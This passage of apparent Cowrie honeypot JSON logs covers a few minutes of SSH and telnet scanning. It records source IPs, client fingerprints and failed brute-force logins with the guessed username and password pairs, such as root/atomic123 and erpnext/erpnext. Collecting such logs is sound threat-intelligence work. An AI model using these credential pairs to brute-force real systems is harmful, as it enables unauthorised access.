ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:43.183337Z","src_ip":"165.154.137.186","session":"5d3e208f8e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:43.970604Z","src_ip":"165.154.137.186","session":"5d3e208f8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:45.234938Z","src_ip":"165.154.137.186","session":"5d3e208f8e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":44084,"dst_ip":"159.203.135.109","dst_port":22,"session":"093b0e5f9f3d","protocol":"ssh","message":"New connection: 69.163.176.54:44084 (159.203.135.109:22) [session: 093b0e5f9f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:45.986187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:45.990178Z","src_ip":"69.163.176.54","session":"093b0e5f9f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:46.060646Z","src_ip":"69.163.176.54","session":"093b0e5f9f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic123","message":"login attempt [root/atomic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:46.273970Z","src_ip":"69.163.176.54","session":"093b0e5f9f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:47.347241Z","src_ip":"69.163.176.54","session":"093b0e5f9f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37346,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5c64258a61","protocol":"ssh","message":"New connection: 8.210.75.243:37346 (10.17.0.5:22) [session: 6f5c64258a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:55.105528Z"}
{"eventid":"cowrie.session.closed","duration":46.96058773994446,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:56.830176Z","src_ip":"170.64.224.25","session":"a02446c5e966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61433482170105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:59.071542Z","src_ip":"107.6.151.170","session":"26708974f904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58862,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77ffef58249","protocol":"telnet","message":"New connection: 170.64.224.25:58862 (159.203.135.109:23) [session: a77ffef58249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:00.743252Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":39042,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a8beac82da","protocol":"ssh","message":"New connection: 198.57.219.18:39042 (159.203.135.109:22) [session: b1a8beac82da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:06.223902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:06.229799Z","src_ip":"198.57.219.18","session":"b1a8beac82da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:06.315953Z","src_ip":"198.57.219.18","session":"b1a8beac82da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal789","message":"login attempt [portal/portal789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:06.568601Z","src_ip":"198.57.219.18","session":"b1a8beac82da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:08.512278Z","src_ip":"198.57.219.18","session":"b1a8beac82da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.60560131072998,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:09.467142Z","src_ip":"170.64.224.25","session":"bd03164d284d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37308,"dst_ip":"159.203.135.109","dst_port":22,"session":"beafedb8ed87","protocol":"ssh","message":"New connection: 80.66.85.226:37308 (159.203.135.109:22) [session: beafedb8ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:11.294589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:11.300296Z","src_ip":"80.66.85.226","session":"beafedb8ed87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:11.389255Z","src_ip":"80.66.85.226","session":"beafedb8ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romanova.natalya.96","message":"login attempt [root/romanova.natalya.96] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:11.657570Z","src_ip":"80.66.85.226","session":"beafedb8ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d4b37cc081e","protocol":"telnet","message":"New connection: 107.6.151.170:41764 (159.203.135.109:23) [session: 5d4b37cc081e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:12.685494Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:12.749207Z","src_ip":"80.66.85.226","session":"beafedb8ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47126,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7c14ec6c3f","protocol":"ssh","message":"New connection: 159.65.58.200:47126 (159.203.135.109:22) [session: 8f7c14ec6c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:13.291029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:13.511379Z","src_ip":"159.65.58.200","session":"8f7c14ec6c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:13.514313Z","src_ip":"159.65.58.200","session":"8f7c14ec6c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sperling","password":"123456","message":"login attempt [sperling/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:14.531623Z","src_ip":"159.65.58.200","session":"8f7c14ec6c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:15.811606Z","src_ip":"159.65.58.200","session":"8f7c14ec6c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":48354,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f42fc250b55","protocol":"ssh","message":"New connection: 103.187.165.26:48354 (10.17.0.5:22) [session: 9f42fc250b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:15.984307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:15.988689Z","src_ip":"103.187.165.26","session":"9f42fc250b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:16.231196Z","src_ip":"103.187.165.26","session":"9f42fc250b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.31.115.157","src_port":51446,"dst_ip":"10.17.0.5","dst_port":22,"session":"27506416deb2","protocol":"ssh","message":"New connection: 113.31.115.157:51446 (10.17.0.5:22) [session: 27506416deb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:17.226342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:17.230442Z","src_ip":"113.31.115.157","session":"27506416deb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344","message":"login attempt [root/12344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:17.238420Z","src_ip":"103.187.165.26","session":"9f42fc250b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:18.485111Z","src_ip":"103.187.165.26","session":"9f42fc250b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:18.718566Z","src_ip":"113.31.115.157","session":"27506416deb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123-=","message":"login attempt [root/qwe123-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:19.351385Z","src_ip":"113.31.115.157","session":"27506416deb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:20.565461Z","src_ip":"113.31.115.157","session":"27506416deb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a98ed6efaa5","protocol":"ssh","message":"New connection: 8.210.75.243:49444 (10.17.0.5:22) [session: 3a98ed6efaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:21.916204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:21.921351Z","src_ip":"8.210.75.243","session":"3a98ed6efaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":54940,"dst_ip":"10.17.0.5","dst_port":22,"session":"f685a0dd96b6","protocol":"ssh","message":"New connection: 162.144.213.198:54940 (10.17.0.5:22) [session: f685a0dd96b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:24.198144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:24.201771Z","src_ip":"162.144.213.198","session":"f685a0dd96b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:24.290375Z","src_ip":"162.144.213.198","session":"f685a0dd96b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jordan_crypto","password":"jordan123","message":"login attempt [jordan_crypto/jordan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:24.557038Z","src_ip":"162.144.213.198","session":"f685a0dd96b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:25.650665Z","src_ip":"162.144.213.198","session":"f685a0dd96b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57760,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b8cd311629b","protocol":"ssh","message":"New connection: 165.154.137.186:57760 (10.17.0.5:22) [session: 5b8cd311629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:27.480980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:48:27.484261Z","src_ip":"165.154.137.186","session":"5b8cd311629b","protocol":"ssh"}
